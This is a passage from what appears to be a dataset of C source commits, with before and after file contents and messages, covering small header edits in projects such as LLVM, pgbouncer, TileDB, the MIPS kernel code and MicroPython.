<95e8ac5504948c7bf91b22c16a8dbb7ae7c66bfd@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,google\/skia,google\/skia,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,rubenvb\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,google\/skia,rubenvb\/skia,google\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"48469ae6496b244da1215b5a0d9941ed1bb6ee71","old_file":"headers\/graphics.h","new_file":"headers\/graphics.h","old_contents":"\ntypedef struct {\n\tlong double r;\n\tlong double b;\n\tlong double g;\n\tlong double a;\n} cgColor;\n\nunsigned int framebuffer_h;\nunsigned int framebuffer_v;\n\ncgColor ** framebuffer;\n\nvoid init_framebuffer(unsigned int h, unsigned int v);\n","new_contents":"\ntypedef struct {\n\tlong double r;\n\tlong double g;\n\tlong double b;\n\tlong double a;\n} cgColor;\n\nunsigned int framebuffer_h;\nunsigned int framebuffer_v;\n\ncgColor ** framebuffer;\n\nvoid init_framebuffer(unsigned int h, unsigned int v);\n","subject":"Fix mistype in color structure","message":"Fix mistype in color structure\n","lang":"C","license":"mit","repos":"hleon12\/RayTracing-Engine,hleonps\/Prisma-RayTracer,hleon12\/RayTracing-Engine,hleonps\/Prisma-RayTracer"}
{"commit":"b0a445b9ced67a104890053624bcfeb11b804df2","old_file":"TPCocoaGPG\/TPGPGOutputChunk.h","new_file":"TPCocoaGPG\/TPGPGOutputChunk.h","old_contents":"\/\/\n\/\/  TPGPGOutputChunk.h\n\/\/  TPCocoaGPG\n\/\/\n\/\/  Created by Thomas Pelletier on 10\/23\/14.\n\/\/  Copyright (c) 2014 Thomas Pelletier. See LICENSE.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface TPGPGOutputChunk : NSObject {\n  NSString* _key;\n  NSString* _text;\n}\n\n+ (TPGPGOutputChunk*)makeWithKey:(NSString*)key andText:(NSString*)text;\n\n@property (nonatomic, assign) NSString* key;\n@property (nonatomic, assign) NSString* text;\n\n@end\n","new_contents":"\/\/\n\/\/  TPGPGOutputChunk.h\n\/\/  TPCocoaGPG\n\/\/\n\/\/  Created by Thomas Pelletier on 10\/23\/14.\n\/\/  Copyright (c) 2014 Thomas Pelletier. See LICENSE.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/**\n Internal representation of GPG's parsed standard error.\n *\/\n@interface TPGPGOutputChunk : NSObject {\n  NSString* _key;\n  NSString* _text;\n}\n\n\/**\n Allocate and initialize a new chunk.\n \n @param key Output key\n @param text Associated text\n @return The new chunk\n*\/\n+ (TPGPGOutputChunk*)makeWithKey:(NSString*)key andText:(NSString*)text;\n\n@property (nonatomic, assign) NSString* key;\n@property (nonatomic, assign) NSString* text;\n\n@end\n","subject":"Add some doc for output chunk","message":"Add some doc for output chunk\n","lang":"C","license":"mit","repos":"pelletier\/TPCocoaGPG"}
{"commit":"b85b36e461985e3732e346d850e69f9e28135044","old_file":"include\/types.h","new_file":"include\/types.h","old_contents":"#ifndef TYPES_H\n#define TYPES_H\n\n\/\/ Explicitly-sized versions of integer types\ntypedef __signed char int8_t;\ntypedef unsigned char uint8_t;\ntypedef short int16_t;\ntypedef unsigned short uint16_t;\ntypedef int int32_t;\ntypedef unsigned int uint32_t;\ntypedef long long int64_t;\ntypedef unsigned long long uint64_t;\n\n\/\/ size_t is used for memory object sizes.\ntypedef uint32_t size_t;\n\n#endif \/* TYPES_H *\/\n","new_contents":"#ifndef TYPES_H\n#define TYPES_H\n\n\/\/ Explicitly-sized versions of integer types\ntypedef __signed char int8_t;\ntypedef unsigned char uint8_t;\ntypedef short int16_t;\ntypedef unsigned short uint16_t;\ntypedef int int32_t;\ntypedef unsigned int uint32_t;\ntypedef long long int64_t;\ntypedef unsigned long long uint64_t;\n\ntypedef uint8_t bool;\n#define true 1;\n#define false 0;\n\n\/\/ size_t is used for memory object sizes.\ntypedef uint32_t size_t;\n\n#endif \/* TYPES_H *\/\n","subject":"Define bool type together with true\/false","message":"Define bool type together with true\/false\n","lang":"C","license":"mit","repos":"dutra\/x86_kernel,dutra\/x86_kernel"}
{"commit":"faf0b8c401c31419a11cd8bbc640340f2c6d52da","old_file":"lib\/Target\/X86\/X86InstrBuilder.h","new_file":"lib\/Target\/X86\/X86InstrBuilder.h","old_contents":"\/\/===-- X86InstrBuilder.h - Functions to aid building x86 insts -*- C++ -*-===\/\/\n\/\/\n\/\/ This file exposes functions that may be used with BuildMI from the\n\/\/ MachineInstrBuilder.h file to handle X86'isms in a clean way.\n\/\/\n\/\/ The BuildMem function may be used with the BuildMI function to add entire\n\/\/ memory references in a single, typed, function call.  X86 memory references\n\/\/ can be very complex expressions (described in the README), so wrapping them\n\/\/ up behind an easier to use interface makes sense.  Descriptions of the\n\/\/ functions are included below.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef X86INSTRBUILDER_H\n#define X86INSTRBUILDER_H\n\n#include \"llvm\/CodeGen\/MachineInstrBuilder.h\"\n\n\/\/\/ addDirectMem - This function is used to add a direct memory reference to the\n\/\/\/ current instruction.  Because memory references are always represented with\n\/\/\/ four values, this adds: Reg, [1, NoReg, 0] to the instruction\n\/\/\/\ninline const MachineInstrBuilder &addDirectMem(const MachineInstrBuilder &MIB,\n                                               unsigned Reg) {\n  return MIB.addReg(Reg).addZImm(1).addMReg(0).addSImm(0);\n}\n\n#endif\n","new_contents":"\/\/===-- X86InstrBuilder.h - Functions to aid building x86 insts -*- C++ -*-===\/\/\n\/\/\n\/\/ This file exposes functions that may be used with BuildMI from the\n\/\/ MachineInstrBuilder.h file to handle X86'isms in a clean way.\n\/\/\n\/\/ The BuildMem function may be used with the BuildMI function to add entire\n\/\/ memory references in a single, typed, function call.  X86 memory references\n\/\/ can be very complex expressions (described in the README), so wrapping them\n\/\/ up behind an easier to use interface makes sense.  Descriptions of the\n\/\/ functions are included below.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef X86INSTRBUILDER_H\n#define X86INSTRBUILDER_H\n\n#include \"llvm\/CodeGen\/MachineInstrBuilder.h\"\n\n\/\/\/ addDirectMem - This function is used to add a direct memory reference to the\n\/\/\/ current instruction.  Because memory references are always represented with\n\/\/\/ four values, this adds: Reg, [1, NoReg, 0] to the instruction\n\/\/\/\ninline const MachineInstrBuilder &addDirectMem(const MachineInstrBuilder &MIB,\n                                               unsigned Reg) {\n  return MIB.addReg(Reg).addZImm(1).addMReg(0).addSImm(0);\n}\n\n\n\/\/\/ addRegOffset -\n\/\/\/ \n\/\/\/\ninline const MachineInstrBuilder &addRegOffset(const MachineInstrBuilder &MIB,\n                                               unsigned Reg, unsigned Offset) {\n  return MIB.addReg(Reg).addZImm(1).addMReg(0).addSImm(Offset);\n}\n\n#endif\n","subject":"Add a simple way to add memory locations of format","message":"Add a simple way to add memory locations of format [reg+offset]\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@4825 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap"}
{"commit":"0f3348ab04b96d4798b19afc04323c55204fbebd","old_file":"include\/varcache.h","new_file":"include\/varcache.h","old_contents":"\n#define VAR_ENCODING_LEN\t16\n#define VAR_DATESTYLE_LEN\t16\n#define VAR_TIMEZONE_LEN\t36\n#define VAR_STDSTR_LEN\t\t4\n\ntypedef struct VarCache VarCache;\n\nstruct VarCache {\n\tchar client_encoding[VAR_ENCODING_LEN];\n\tchar datestyle[VAR_DATESTYLE_LEN];\n\tchar timezone[VAR_TIMEZONE_LEN];\n\tchar std_strings[VAR_STDSTR_LEN];\n};\n\nbool varcache_set(VarCache *cache, const char *key, const char *value) \/* _MUSTCHECK *\/;\nbool varcache_apply(PgSocket *server, PgSocket *client, bool *changes_p) _MUSTCHECK;\nvoid varcache_fill_unset(VarCache *src, PgSocket *dst);\nvoid varcache_clean(VarCache *cache);\nvoid varcache_add_params(PktBuf *pkt, VarCache *vars);\n\n","new_contents":"\n#define VAR_ENCODING_LEN\t16\n#define VAR_DATESTYLE_LEN\t32\n#define VAR_TIMEZONE_LEN\t36\n#define VAR_STDSTR_LEN\t\t4\n\ntypedef struct VarCache VarCache;\n\nstruct VarCache {\n\tchar client_encoding[VAR_ENCODING_LEN];\n\tchar datestyle[VAR_DATESTYLE_LEN];\n\tchar timezone[VAR_TIMEZONE_LEN];\n\tchar std_strings[VAR_STDSTR_LEN];\n};\n\nbool varcache_set(VarCache *cache, const char *key, const char *value) \/* _MUSTCHECK *\/;\nbool varcache_apply(PgSocket *server, PgSocket *client, bool *changes_p) _MUSTCHECK;\nvoid varcache_fill_unset(VarCache *src, PgSocket *dst);\nvoid varcache_clean(VarCache *cache);\nvoid varcache_add_params(PktBuf *pkt, VarCache *vars);\n\n","subject":"Increase room for DateStyle storage.","message":"Increase room for DateStyle storage.\n\nIf value is larger than buffer, it stays empty and libpq will drop connection.\n","lang":"C","license":"isc","repos":"kvap\/pgbouncer,kvap\/pgbouncer,wurenny\/pgbouncer-x2,dbaxa\/pgbouncer,digoal\/pgbouncer-x2,jaiminpan\/pgbouncer,dbaxa\/pgbouncer,wurenny\/pgbouncer-x2,kvap\/pgbouncer,wurenny\/pgbouncer-x2,jaiminpan\/pgbouncer,digoal\/pgbouncer-x2,digoal\/pgbouncer-x2,wurenny\/pgbouncer-x2,jaiminpan\/pgbouncer,dbaxa\/pgbouncer,dbaxa\/pgbouncer,jaiminpan\/pgbouncer,digoal\/pgbouncer-x2,kvap\/pgbouncer"}
{"commit":"cea64f7221398e71fcbcc60e0572a7bc7594a1c2","old_file":"main.c","new_file":"main.c","old_contents":"#include \"tour.h\"\n\n#define NCITIES 5\n\nint main() {\n\ttour t = create_tour(NCITIES);\n\n\tint i;\n\tfor (i = 0; i < NCITIES; i++)\n\t{\n\t\tprintf(\"%d\\n\", t[i]);\n\t}\n\n\tprintf(\"Hello!\");\n\n    return 0;\n}","new_contents":"#include \"tour.h\"\n\n#define NCITIES 5\n#define STARTPOINT 2\n\nint main() {\n\ttour t = create_tour(NCITIES);\n\tpopulate_tour(t, NCITIES);\n\tstart_point(t, STARTPOINT);\n\tswap_cities(t, 3, 4);\n\n\tint i;\n\tfor (i = 0; i < NCITIES; i++)\n\t{\n\t\tprintf(\"%d\\n\", t[i]);\n\t}\n\n\n\tprintf(\"Hello!\\n\");\n\n    return 0;\n}","subject":"Test all functions from tour.h.","message":"Test all functions from tour.h.\n","lang":"C","license":"apache-2.0","repos":"frila\/caixeiro"}
{"commit":"0143ac1ab6d2a5e9194ba73a3c61b0514f66ea50","old_file":"tiledb\/sm\/c_api\/tiledb_version.h","new_file":"tiledb\/sm\/c_api\/tiledb_version.h","old_contents":"\/*\n * @file   version.h\n *\n * @section LICENSE\n *\n * The MIT License\n *\n * @copyright Copyright (c) 2017-2020 TileDB, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#define TILEDB_VERSION_MAJOR 1\n#define TILEDB_VERSION_MINOR 7\n#define TILEDB_VERSION_PATCH 0\n","new_contents":"\/*\n * @file   version.h\n *\n * @section LICENSE\n *\n * The MIT License\n *\n * @copyright Copyright (c) 2017-2020 TileDB, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#define TILEDB_VERSION_MAJOR 1\n#define TILEDB_VERSION_MINOR 8\n#define TILEDB_VERSION_PATCH 0\n","subject":"Update tiledb version to 1.8.0 for dev","message":"Update tiledb version to 1.8.0 for dev","lang":"C","license":"mit","repos":"TileDB-Inc\/TileDB,TileDB-Inc\/TileDB,TileDB-Inc\/TileDB,TileDB-Inc\/TileDB"}
{"commit":"4d157e3b8762ecb49b191cc33762bb1d7e71a8f3","old_file":"user\/robot\/umain.c","new_file":"user\/robot\/umain.c","old_contents":"#include <joyos.h>\n#include \"platform.h\"\n#include \"navigation.h\"\n\nextern volatile uint8_t robot_id;\n\nint usetup (void) {\n    robot_id = 7;\n    \n    platform_init();\n    nav_init();\n    return 0;\n}\n\nint umain (void) {\n    printf(\"Hello, world!\\n\");\n    \n    nav_start();\n    \n    printf(\"Nav started, setting coords\\n\");\n    moveToPoint(10, 0, 150);\n    \/\/turnToHeading(45);\n    printf(\"Coords set\\n\");\n    \n    return 0;\n}\n","new_contents":"#include <joyos.h>\n#include \"platform.h\"\n#include \"navigation.h\"\n\nextern volatile uint8_t robot_id;\n\nint usetup(void) {\n    robot_id = 7;\n    \n    platform_init();\n    nav_init();\n    return 0;\n}\n\nint umain(void) {\n    printf(\"Hello, world!\\n\");\n    \n    nav_start();\n    \n    printf(\"Nav started, setting coords\\n\");\n    moveToPoint(10, 0, 150);\n    printf(\"Coords set\\n\");\n    \n    \/\/while (1) {\n    \/\/    copy_objects();\n    \/\/    moveToPoint(objects[2].x, objects[2].y, 200);\n    \/\/    waitForMovementComplete();\n    \/\/}\n    \n    return 0;\n}\n","subject":"Add VPS target seeking code.","message":"Add VPS target seeking code.\n","lang":"C","license":"mit","repos":"mboyd\/6.270,mboyd\/6.270"}
{"commit":"906fc80d89f2487c7f3588cf4495ba368f8d3bf4","old_file":"game.h","new_file":"game.h","old_contents":"#ifndef GAME_H\n#define GAME_H\n\n#include <stdint.h>\n\n#define SPACING    5\n\n#define FONT \"cairo:monospace\"\n#define FONT_SIZE 12\n#define TILE_SIZE (FONT_SIZE * 4)\n\n#define GRID_WIDTH   4\n#define GRID_HEIGHT  4\n#define GRID_SIZE    (GRID_WIDTH * GRID_HEIGHT)\n\n#define BOARD_WIDTH  (SPACING + TILE_SIZE * GRID_WIDTH  + SPACING * (GRID_WIDTH  - 1) + SPACING)\n#define BOARD_HEIGHT (SPACING + TILE_SIZE * GRID_HEIGHT + SPACING * (GRID_HEIGHT - 1) + SPACING)\n\n#define BOARD_OFFSET_Y  SPACING + TILE_SIZE + SPACING\n\n#define SCREEN_WIDTH   SPACING + BOARD_WIDTH + SPACING\n#define SCREEN_HEIGHT  BOARD_OFFSET_Y + BOARD_HEIGHT + SPACING\n\nextern int SCREEN_PITCH;\n\ntypedef struct\n{\n   int up;\n   int down;\n   int left;\n   int right;\n   int start;\n} key_state_t;\n\nvoid game_calculate_pitch(void);\n\nvoid game_init(uint16_t *frame_buf);\nvoid game_deinit(void);\nvoid game_reset(void);\nvoid game_update(float delta, key_state_t *new_ks);\nvoid game_render(void);\n\n#endif \/\/ GAME_H\n","new_contents":"#ifndef GAME_H\n#define GAME_H\n\n#include <stdint.h>\n\n#define FONT \"cairo:monospace\"\n#define FONT_SIZE 20\n#define SPACING    (FONT_SIZE * 0.4)\n#define TILE_SIZE (FONT_SIZE * 4)\n\n#define GRID_WIDTH   4\n#define GRID_HEIGHT  4\n#define GRID_SIZE    (GRID_WIDTH * GRID_HEIGHT)\n\n#define BOARD_WIDTH  (SPACING + TILE_SIZE * GRID_WIDTH  + SPACING * (GRID_WIDTH  - 1) + SPACING)\n#define BOARD_HEIGHT (SPACING + TILE_SIZE * GRID_HEIGHT + SPACING * (GRID_HEIGHT - 1) + SPACING)\n\n#define BOARD_OFFSET_Y  SPACING + TILE_SIZE + SPACING\n\n#define SCREEN_WIDTH   SPACING + BOARD_WIDTH + SPACING\n#define SCREEN_HEIGHT  BOARD_OFFSET_Y + BOARD_HEIGHT + SPACING\n\nextern int SCREEN_PITCH;\n\ntypedef struct\n{\n   int up;\n   int down;\n   int left;\n   int right;\n   int start;\n} key_state_t;\n\nvoid game_calculate_pitch(void);\n\nvoid game_init(uint16_t *frame_buf);\nvoid game_deinit(void);\nvoid game_reset(void);\nvoid game_update(float delta, key_state_t *new_ks);\nvoid game_render(void);\n\n#endif \/\/ GAME_H\n","subject":"Make spacing depend on font size","message":"Make spacing depend on font size\n","lang":"C","license":"unlicense","repos":"libretro\/libretro-2048,libretro\/libretro-2048,libretro\/libretro-2048,libretro\/libretro-2048"}
{"commit":"85546d7ec827b7b0ff822cc86644c1b081142e53","old_file":"arch\/mips\/include\/asm\/clock.h","new_file":"arch\/mips\/include\/asm\/clock.h","old_contents":"#ifndef __ASM_MIPS_CLOCK_H\n#define __ASM_MIPS_CLOCK_H\n\n#include <linux\/kref.h>\n#include <linux\/list.h>\n#include <linux\/seq_file.h>\n#include <linux\/clk.h>\n\nstruct clk;\n\nstruct clk_ops {\n\tvoid (*init) (struct clk *clk);\n\tvoid (*enable) (struct clk *clk);\n\tvoid (*disable) (struct clk *clk);\n\tvoid (*recalc) (struct clk *clk);\n\tint (*set_rate) (struct clk *clk, unsigned long rate, int algo_id);\n\tlong (*round_rate) (struct clk *clk, unsigned long rate);\n};\n\nstruct clk {\n\tstruct list_head node;\n\tconst char *name;\n\tint id;\n\tstruct module *owner;\n\n\tstruct clk *parent;\n\tstruct clk_ops *ops;\n\n\tstruct kref kref;\n\n\tunsigned long rate;\n\tunsigned long flags;\n};\n\n#define CLK_ALWAYS_ENABLED\t(1 << 0)\n#define CLK_RATE_PROPAGATES\t(1 << 1)\n\n\/* Should be defined by processor-specific code *\/\nvoid arch_init_clk_ops(struct clk_ops **, int type);\n\nint clk_init(void);\n\nint __clk_enable(struct clk *);\nvoid __clk_disable(struct clk *);\n\nvoid clk_recalc_rate(struct clk *);\n\nint clk_register(struct clk *);\nvoid clk_unregister(struct clk *);\n\n#endif\t\t\t\t\/* __ASM_MIPS_CLOCK_H *\/\n","new_contents":"#ifndef __ASM_MIPS_CLOCK_H\n#define __ASM_MIPS_CLOCK_H\n\n#include <linux\/kref.h>\n#include <linux\/list.h>\n#include <linux\/seq_file.h>\n#include <linux\/clk.h>\n\nstruct clk;\n\nstruct clk_ops {\n\tvoid (*init) (struct clk *clk);\n\tvoid (*enable) (struct clk *clk);\n\tvoid (*disable) (struct clk *clk);\n\tvoid (*recalc) (struct clk *clk);\n\tint (*set_rate) (struct clk *clk, unsigned long rate, int algo_id);\n\tlong (*round_rate) (struct clk *clk, unsigned long rate);\n};\n\nstruct clk {\n\tstruct list_head node;\n\tconst char *name;\n\tint id;\n\tstruct module *owner;\n\n\tstruct clk *parent;\n\tstruct clk_ops *ops;\n\n\tstruct kref kref;\n\n\tunsigned long rate;\n\tunsigned long flags;\n};\n\n#define CLK_ALWAYS_ENABLED\t(1 << 0)\n#define CLK_RATE_PROPAGATES\t(1 << 1)\n\nint clk_init(void);\n\nint __clk_enable(struct clk *);\nvoid __clk_disable(struct clk *);\n\nvoid clk_recalc_rate(struct clk *);\n\nint clk_register(struct clk *);\nvoid clk_unregister(struct clk *);\n\n#endif\t\t\t\t\/* __ASM_MIPS_CLOCK_H *\/\n","subject":"Remove declaration of obsolete arch_init_clk_ops()","message":"MIPS: Remove declaration of obsolete arch_init_clk_ops()\n\nSigned-off-by: Maarten ter Huurne <e186a7d2c4e55136cd884424bcfb439491001dc6@treewalker.org>\nCc: Apelete Seketeli <5513108e721878f07bfb2a30cd534488c7df106c@seketeli.net>\nCc: 562397917b9a8bf316569a848858b12fb417723f@linux-mips.org\nCc: 2578944098299abf708b08eff6fcf60565553586@vger.kernel.org\nPatchwork: https:\/\/patchwork.linux-mips.org\/patch\/7671\/\nSigned-off-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"a3c96c925229909535e81c7596e03b66af328a4d","old_file":"pic16bit\/qstrdefsport.h","new_file":"pic16bit\/qstrdefsport.h","old_contents":"\/\/ qstrs specific to this port\n\nQ(pyb)\nQ(millis)\nQ(elapsed_millis)\nQ(delay)\nQ(LED)\nQ(on)\nQ(off)\nQ(toggle)\nQ(Switch)\nQ(value)\nQ(readall)\nQ(readline)\nQ(FileIO)\n","new_contents":"\/\/ qstrs specific to this port\n\nQ(pyb)\nQ(millis)\nQ(elapsed_millis)\nQ(delay)\nQ(LED)\nQ(on)\nQ(off)\nQ(toggle)\nQ(Switch)\nQ(value)\nQ(readall)\nQ(readinto)\nQ(readline)\nQ(readlines)\nQ(FileIO)\n","subject":"Add readinto and readlines to qstrs.","message":"pic16bit: Add readinto and readlines to qstrs.\n","lang":"C","license":"mit","repos":"ericsnowcurrently\/micropython,pfalcon\/micropython,PappaPeppar\/micropython,lbattraw\/micropython,torwag\/micropython,jlillest\/micropython,ceramos\/micropython,mpalomer\/micropython,slzatz\/micropython,kostyll\/micropython,turbinenreiter\/micropython,chrisdearman\/micropython,alex-march\/micropython,cloudformdesign\/micropython,suda\/micropython,cwyark\/micropython,jlillest\/micropython,hiway\/micropython,AriZuu\/micropython,matthewelse\/micropython,puuu\/micropython,MrSurly\/micropython,kostyll\/micropython,stonegithubs\/micropython,ceramos\/micropython,pozetroninc\/micropython,cnoviello\/micropython,oopy\/micropython,PappaPeppar\/micropython,blazewicz\/micropython,alex-march\/micropython,neilh10\/micropython,alex-march\/micropython,firstval\/micropython,TDAbboud\/micropython,dmazzella\/micropython,xhat\/micropython,deshipu\/micropython,dinau\/micropython,hosaka\/micropython,puuu\/micropython,blazewicz\/micropython,SHA2017-badge\/micropython-esp32,PappaPeppar\/micropython,Timmenem\/micropython,noahwilliamsson\/micropython,cloudformdesign\/micropython,dmazzella\/micropython,tdautc19841202\/micropython,adamkh\/micropython,emfcamp\/micropython,MrSurly\/micropython-esp32,selste\/micropython,xhat\/micropython,emfcamp\/micropython,toolmacher\/micropython,heisewangluo\/micropython,neilh10\/micropython,tuc-osg\/micropython,ernesto-g\/micropython,drrk\/micropython,swegener\/micropython,blmorris\/micropython,selste\/micropython,ahotam\/micropython,noahwilliamsson\/micropython,deshipu\/micropython,lowRISC\/micropython,danicampora\/micropython,ryannathans\/micropython,trezor\/micropython,adafruit\/micropython,xuxiaoxin\/micropython,omtinez\/micropython,mianos\/micropython,HenrikSolver\/micropython,tdautc19841202\/micropython,MrSurly\/micropython,micropython\/micropython-esp32,trezor\/micropython,adafruit\/circuitpython,cloudformdesign\/micropython,xuxiaoxin\/micropython,AriZuu\/micropython,cwyark\/micropython,ganshun666\/micropython,praemdonck\/micropython,pozetroninc\/micropython,dhylands\/micropython,EcmaXp\/micropython,noahchense\/micropython,pozetroninc\/micropython,vriera\/micropython,ahotam\/micropython,pramasoul\/micropython,danicampora\/micropython,EcmaXp\/micropython,ChuckM\/micropython,adafruit\/circuitpython,cnoviello\/micropython,ganshun666\/micropython,oopy\/micropython,orionrobots\/micropython,infinnovation\/micropython,pfalcon\/micropython,feilongfl\/micropython,ahotam\/micropython,martinribelotta\/micropython,micropython\/micropython-esp32,supergis\/micropython,mgyenik\/micropython,misterdanb\/micropython,jmarcelino\/pycom-micropython,feilongfl\/micropython,dxxb\/micropython,kostyll\/micropython,ChuckM\/micropython,turbinenreiter\/micropython,turbinenreiter\/micropython,dinau\/micropython,ruffy91\/micropython,suda\/micropython,noahchense\/micropython,adamkh\/micropython,tdautc19841202\/micropython,pramasoul\/micropython,ganshun666\/micropython,lowRISC\/micropython,bvernoux\/micropython,AriZuu\/micropython,selste\/micropython,xuxiaoxin\/micropython,tdautc19841202\/micropython,skybird6672\/micropython,ryannathans\/micropython,misterdanb\/micropython,ernesto-g\/micropython,orionrobots\/micropython,TDAbboud\/micropython,mhoffma\/micropython,misterdanb\/micropython,martinribelotta\/micropython,swegener\/micropython,slzatz\/micropython,tobbad\/micropython,stonegithubs\/micropython,kostyll\/micropython,heisewangluo\/micropython,dhylands\/micropython,chrisdearman\/micropython,utopiaprince\/micropython,firstval\/micropython,noahwilliamsson\/micropython,praemdonck\/micropython,ruffy91\/micropython,HenrikSolver\/micropython,Timmenem\/micropython,trezor\/micropython,Timmenem\/micropython,redbear\/micropython,orionrobots\/micropython,lbattraw\/micropython,adamkh\/micropython,blazewicz\/micropython,mianos\/micropython,toolmacher\/micropython,skybird6672\/micropython,bvernoux\/micropython,alex-robbins\/micropython,alex-robbins\/micropython,praemdonck\/micropython,jimkmc\/micropython,mpalomer\/micropython,xhat\/micropython,SHA2017-badge\/micropython-esp32,TDAbboud\/micropython,rubencabrera\/micropython,jimkmc\/micropython,noahchense\/micropython,tuc-osg\/micropython,ganshun666\/micropython,xhat\/micropython,lowRISC\/micropython,micropython\/micropython-esp32,blazewicz\/micropython,EcmaXp\/micropython,omtinez\/micropython,redbear\/micropython,pramasoul\/micropython,mhoffma\/micropython,noahchense\/micropython,rubencabrera\/micropython,ChuckM\/micropython,emfcamp\/micropython,oopy\/micropython,mgyenik\/micropython,cwyark\/micropython,omtinez\/micropython,turbinenreiter\/micropython,MrSurly\/micropython,xyb\/micropython,slzatz\/micropython,tralamazza\/micropython,micropython\/micropython-esp32,drrk\/micropython,lbattraw\/micropython,puuu\/micropython,praemdonck\/micropython,torwag\/micropython,cnoviello\/micropython,bvernoux\/micropython,ericsnowcurrently\/micropython,firstval\/micropython,TDAbboud\/micropython,selste\/micropython,vitiral\/micropython,MrSurly\/micropython-esp32,pramasoul\/micropython,ChuckM\/micropython,ganshun666\/micropython,lowRISC\/micropython,martinribelotta\/micropython,swegener\/micropython,tralamazza\/micropython,kostyll\/micropython,tobbad\/micropython,toolmacher\/micropython,AriZuu\/micropython,jmarcelino\/pycom-micropython,neilh10\/micropython,blmorris\/micropython,ernesto-g\/micropython,dxxb\/micropython,dinau\/micropython,omtinez\/micropython,vitiral\/micropython,cwyark\/micropython,galenhz\/micropython,henriknelson\/micropython,TDAbboud\/micropython,mpalomer\/micropython,adafruit\/circuitpython,EcmaXp\/micropython,jlillest\/micropython,jimkmc\/micropython,pfalcon\/micropython,dmazzella\/micropython,firstval\/micropython,adafruit\/micropython,xyb\/micropython,xyb\/micropython,swegener\/micropython,torwag\/micropython,MrSurly\/micropython,puuu\/micropython,galenhz\/micropython,hiway\/micropython,danica